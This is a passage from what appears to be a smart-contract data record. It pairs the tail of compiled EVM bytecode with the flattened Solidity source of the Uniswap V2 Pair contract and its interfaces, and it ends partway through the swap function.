519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032 | // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
